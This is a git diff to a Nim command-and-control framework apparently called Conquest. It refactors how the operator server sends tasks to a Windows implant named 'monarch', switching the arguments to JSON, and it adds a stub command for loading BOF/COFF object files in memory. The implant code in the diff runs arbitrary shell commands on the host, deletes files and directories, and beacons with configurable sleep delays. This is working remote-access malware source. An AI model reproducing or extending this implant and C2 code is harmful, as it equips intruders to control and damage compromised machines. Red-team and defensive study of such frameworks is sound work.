diff --git a/agents/commands.md b/agents/commands.md index 5fbd422..7ac9c89 100644 --- a/agents/commands.md +++ b/agents/commands.md @@ -11,6 +11,8 @@ Basic API-only Commands - [x] ls/dir : List all files in directory (including hidden ones) - [x] rm : Remove a file - [x] rmdir : Remove a empty directory +- [ ] mv : Move a file +- [ ] cp : Copy a file - [ ] cat/type : Display contents of a file - [ ] env : Display environment variables - [ ] ps : List processes diff --git a/agents/monarch/commands/filesystem.nim b/agents/monarch/commands/filesystem.nim index 5e399c3..185d917 100644 --- a/agents/monarch/commands/filesystem.nim +++ b/agents/monarch/commands/filesystem.nim @@ -1,4 +1,4 @@ -import os, strutils, strformat, base64, winim, times, algorithm +import os, strutils, strformat, base64, winim, times, algorithm, json import ../types @@ -35,7 +35,9 @@ proc taskPwd*(task: Task): TaskResult = # Change working directory proc taskCd*(task: Task): TaskResult = - let targetDirectory = task.args.join(" ").replace("\"", "").replace("'", "") + # Parse arguments + let targetDirectory = parseJson(task.args)["directory"].getStr() + echo fmt"Changing current working directory to {targetDirectory}." try: @@ -61,11 +63,13 @@ proc taskCd*(task: Task): TaskResult = # List files and directories at a specific or at the current path proc taskDir*(task: Task): TaskResult = + # Parse arguments + var targetDirectory = parseJson(task.args)["directory"].getStr() + echo fmt"Listing files and directories." try: # Check if users wants to list files in the current working directory or at another path - var targetDirectory = task.args.join(" ").replace("\"", "").replace("'", "") if targetDirectory == "": # Get current working directory using GetCurrentDirectory @@ -214,8 +218,10 @@ proc taskDir*(task: Task): TaskResult = # Remove file proc taskRm*(task: Task): TaskResult = - let target = task.args.join(" ").replace("\"", "").replace("'", "") - echo fmt"Deleting {target}." + # Parse arguments + let target = parseJson(task.args)["file"].getStr() + + echo fmt"Deleting file {target}." try: # Get current working directory using GetCurrentDirectory @@ -240,8 +246,10 @@ proc taskRm*(task: Task): TaskResult = # Remove directory proc taskRmdir*(task: Task): TaskResult = - let target = task.args.join(" ").replace("\"", "").replace("'", "") - echo fmt"Deleting {target}." + # Parse arguments + let target = parseJson(task.args)["directory"].getStr() + + echo fmt"Deleting directory {target}." try: # Get current working directory using GetCurrentDirectory diff --git a/agents/monarch/commands/shell.nim b/agents/monarch/commands/shell.nim index 6c60754..07acf2e 100644 --- a/agents/monarch/commands/shell.nim +++ b/agents/monarch/commands/shell.nim @@ -1,13 +1,19 @@ -import winim, osproc, strutils, strformat, base64 +import winim, osproc, strutils, strformat, base64, json import ../types proc taskShell*(task: Task): TaskResult = - echo "Executing command: ", task.args.join(" ") + # Parse arguments JSON string to obtain specific values + let + params = parseJson(task.args) + command = params["command"].getStr() + arguments = params["arguments"].getStr() + + echo fmt"Executing command {command} with arguments {arguments}" try: - let (output, status) = execCmdEx(task.args.join(" ")) + let (output, status) = execCmdEx(fmt("{command} {arguments}")) return TaskResult( task: task.id, agent: task.agent, diff --git a/agents/monarch/commands/sleep.nim b/agents/monarch/commands/sleep.nim index 3db790c..8ea8dea 100644 --- a/agents/monarch/commands/sleep.nim +++ b/agents/monarch/commands/sleep.nim @@ -1,13 +1,16 @@ -import os, strutils, strformat, base64 +import os, strutils, strformat, base64, json import ../types proc taskSleep*(task: Task): TaskResult = - echo fmt"Sleeping for {task.args[0]} seconds." + # Parse task parameter + let delay = parseJson(task.args)["delay"].getInt() + + echo fmt"Sleeping for {delay} seconds." try: - sleep(parseInt(task.args[0]) * 1000) + sleep(delay * 1000) return TaskResult( task: task.id, agent: task.agent, diff --git a/agents/monarch/monarch.nim b/agents/monarch/monarch.nim index 673cba3..069934f 100644 --- a/agents/monarch/monarch.nim +++ b/agents/monarch/monarch.nim @@ -1,7 +1,7 @@ import strformat, os, times import winim -import ./[types, http, task] +import ./[types, http, taskHandler] const ListenerUuid {.strdefine.}: string = "" const Octet1 {.intdefine.}: int = 0 diff --git a/agents/monarch/task.nim b/agents/monarch/taskHandler.nim similarity index 88% rename from agents/monarch/task.nim rename to agents/monarch/taskHandler.nim index 3f62e40..2c49cae 100644 --- a/agents/monarch/task.nim +++ b/agents/monarch/taskHandler.nim @@ -1,4 +1,4 @@ -import strutils, tables +import strutils, tables, json import ./types import ./commands/commands @@ -24,7 +24,7 @@ proc handleTask*(task: Task, config: AgentConfig): TaskResult = case task.command: of Sleep: if taskResult.status == Completed: - config.sleep = parseInt(task.args[0]) + config.sleep = parseJson(task.args)["delay"].getInt() else: discard diff --git a/server/agent/interact.nim b/server/agent/interact.nim index 19a7066..1d97e05 100644 --- a/server/agent/interact.nim +++ b/server/agent/interact.nim @@ -1,5 +1,5 @@ import argparse, times, strformat, terminal, nanoid -import ./task +import ./taskDispatcher import ../[types] #[ @@ -10,8 +10,8 @@ var parser = newParser: command("shell"): help("Execute a shell command and retrieve the output.") - arg("command", help="Command", nargs = 1) - arg("arguments", help="Arguments.", nargs = -1) # Handle 0 or more command-line arguments (seq[string]) + arg("command", help="Command to be executed.", nargs = 1) + arg("arguments", help="Arguments to be passed to the command.", nargs = -1) # Handle 0 or more command-line arguments (seq[string]) command("sleep"): help("Update sleep delay configuration.") @@ -39,6 +39,11 @@ var parser = newParser: help("Remove directory.") arg("directory", help="Relative or absolute path to the directory to delete.", nargs = -1) + command("bof"): + help("Execute COFF or BOF file (.o) in memory.") + arg("file", help="Local path to object file.", nargs = 1) + arg("arguments", help="Arguments to be passed to the BOF.", nargs = -1) + command("help"): nohelpflag() @@ -65,11 +70,7 @@ proc handleAgentCommand*(cq: Conquest, args: varargs[string]) = cq.writeLine(parser.help()) of "shell": - var - command: string = opts.shell.get.command - arguments: seq[string] = opts.shell.get.arguments - arguments.insert(command, 0) - cq.taskExecuteShell(arguments) + cq.taskExecuteShell(opts.shell.get.command, opts.shell.get.arguments) of "sleep": cq.taskExecuteSleep(parseInt(opts.sleep.get.delay)) @@ -92,6 +93,9 @@ proc handleAgentCommand*(cq: Conquest, args: varargs[string]) = of "rmdir": cq.taskRemoveDirectory(opts.rmdir.get.directory) + of "bof": + cq.taskExecuteBof(opts.bof.get.file, opts.bof.get.arguments) + # Handle help flag except ShortCircuit as err: if err.flag == "argparse_help": diff --git a/server/agent/task.nim b/server/agent/task.nim deleted file mode 100644 index 892e1b8..0000000 --- a/server/agent/task.nim +++ /dev/null @@ -1,48 +0,0 @@ -import nanoid, sequtils, strutils, strformat, terminal, times -import ../types -import ../db/database - -# Generic task creation procedure -proc createTask(cq: Conquest, command: TaskCommand, args: seq[string], message: string) = - let - date = now().format("dd-MM-yyyy HH:mm:ss") - task = Task( - id: generate(alphabet=join(toSeq('A'..'Z'), ""), size=8), - agent: cq.interactAgent.name, - command: command, - args: args, - ) - - cq.interactAgent.tasks.add(task) - cq.writeLine(fgBlack, styleBright, fmt"[{date}] [*] ", resetStyle, message) - -# Agent task functions -proc taskExecuteSleep*(cq: Conquest, delay: int) = - if delay < 0: - cq.writeLine(fgRed, styleBright, "[-] Invalid sleep delay value.") - return - - # Update 'sleep' value in database - if not cq.dbUpdateSleep(cq.interactAgent.name, delay): - return - - # Use the generic createTask function - createTask(cq, Sleep, @[$delay], "Tasked agent to update sleep settings.") - -proc taskExecuteShell*(cq: Conquest, arguments: seq[string]) = - cq.createTask(ExecuteShell, arguments, "Tasked agent to execute shell command.") - -proc taskGetWorkingDirectory*(cq: Conquest) = - cq.createTask(GetWorkingDirectory, @[], "Tasked agent to get current working directory.") - -proc taskSetWorkingDirectory*(cq: Conquest, arguments: seq[string]) = - cq.createTask(SetWorkingDirectory, arguments, "Tasked agent to change current working directory.") - -proc taskListDirectory*(cq: Conquest, arguments: seq[string]) = - cq.createTask(ListDirectory, arguments, "Tasked agent to list files and directories.") - -proc taskRemoveFile*(cq: Conquest, arguments: seq[string]) = - cq.createTask(RemoveFile, arguments, "Tasked agent to remove file.") - -proc taskRemoveDirectory*(cq: Conquest, arguments: seq[string]) = - cq.createTask(RemoveDirectory, arguments, "Tasked agent to remove directory.") diff --git a/server/agent/taskDispatcher.nim b/server/agent/taskDispatcher.nim new file mode 100644 index 0000000..6110aaf --- /dev/null +++ b/server/agent/taskDispatcher.nim @@ -0,0 +1,75 @@ +import nanoid, sequtils, strutils, strformat, terminal, times, json +import ../types +import ../db/database + +# Generic task creation procedure +proc createTask(cq: Conquest, command: TaskCommand, args: string, message: string) = + let + date = now().format("dd-MM-yyyy HH:mm:ss") + task = Task( + id: generate(alphabet=join(toSeq('A'..'Z'), ""), size=8), + agent: cq.interactAgent.name, + command: command, + args: args, + ) + + cq.interactAgent.tasks.add(task) + cq.writeLine(fgBlack, styleBright, fmt"[{date}] [*] ", resetStyle, message) + +# Agent task functions +proc taskExecuteSleep*(cq: Conquest, delay: int) = + if delay < 0: + cq.writeLine(fgRed, styleBright, "[-] Invalid sleep delay value.") + return + + # Update 'sleep' value in database + if not cq.dbUpdateSleep(cq.interactAgent.name, delay): + return + + # Construct payload + let payload = %*{ "delay": delay } + + # Use the generic createTask function + createTask(cq, Sleep, $payload, "Tasked agent to update sleep settings.") + +proc taskExecuteShell*(cq: Conquest, command: string, arguments: seq[string]) = + let payload = %*{ "command": command, "arguments": arguments.join(" ")} + cq.createTask(ExecuteShell, $payload, "Tasked agent to execute shell command.") + +proc taskGetWorkingDirectory*(cq: Conquest) = + cq.createTask(GetWorkingDirectory, "", "Tasked agent to get current working directory.") + +proc taskSetWorkingDirectory*(cq: Conquest, arguments: seq[string]) = + let payload = %*{ "directory": arguments.join(" ").replace("\"").replace("'")} + cq.createTask(SetWorkingDirectory, $payload, "Tasked agent to change current working directory.") + +proc taskListDirectory*(cq: Conquest, arguments: seq[string]) = + let payload = %*{ "directory": arguments.join(" ").replace("\"").replace("'")} + cq.createTask(ListDirectory, $payload, "Tasked agent to list files and directories.") + +proc taskRemoveFile*(cq: Conquest, arguments: seq[string]) = + let payload = %*{ "file": arguments.join(" ").replace("\"").replace("'")} + cq.createTask(RemoveFile, $payload, "Tasked agent to remove file.") + +proc taskRemoveDirectory*(cq: Conquest, arguments: seq[string]) = + let payload = %*{ "directory": arguments.join(" ").replace("\"").replace("'")} + cq.createTask(RemoveDirectory, $payload, "Tasked agent to remove directory.") + +proc taskExecuteBof*(cq: Conquest, file: string, arguments: seq[string]) = + + # Verify that the object file exists + + # Read object file into memory and base64-encode it + + # Create the payload package, consisting of base64-encoded object file and the arguments passed to it + # Best way would be a custom binary structure, but for the time being, a JSON string would work, which is deserialized and parsed by the agent + #[ + let payload = %* + { + "file": "AAAA...AA==" + "arguments": "arg1 arg2 123" + } + ]# + + # Create a new task + discard \ No newline at end of file diff --git a/server/types.nim b/server/types.nim index 7152434..11279f4 100644 --- a/server/types.nim +++ b/server/types.nim @@ -38,7 +38,8 @@ type id*: string agent*: string command*: TaskCommand - args*: seq[string] + args*: string # Json string containing all the positional arguments + # Example: """{"command": "whoami", "arguments": "/all"}""" AgentRegistrationData* = object username*: string